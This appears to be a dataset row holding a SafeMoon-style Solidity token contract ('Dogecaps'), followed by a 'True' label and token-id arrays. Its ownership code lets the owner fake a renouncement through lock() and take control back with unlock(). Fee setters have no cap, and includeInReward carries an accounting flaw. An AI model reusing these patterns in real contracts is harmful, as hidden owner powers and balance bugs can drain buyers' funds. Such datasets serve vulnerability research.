* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract DOGECAPS is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 21000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Dogecaps";
string private _symbol = "dcaps";
uint8 private _decimals = 9;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 3;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 10000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5840,
1011,
2656,
1008,
1013,
1013,
1008,
1008,
1001,
3899,
19281,
4523,
16770,
1024,
1013,
1013,
5835,
17695,
2015,
1012,
2252,
1013,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
9700,
16748,
2860,
2307,
2838,
1024,
1017,
1003,
7408,
8285,
5587,
2000,
1996,
6381,
3012,
4770,
2000,
5299,
5091,
2043,
4855,
1016,
1003,
7408,
8285,
16062,
2000,
2035,
13304,
2753,
1003,
6402,
2000,
1996,
2304,
4920,
1010,
2007,
2107,
2502,
2304,
4920,
1998,
1017,
1003,
7408,
1010,
1996,
2844,
9111,
2097,
2131,
1037,
7070,
10377,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-10-21
*/
pragma solidity 0.8.5;
abstract contract Context {
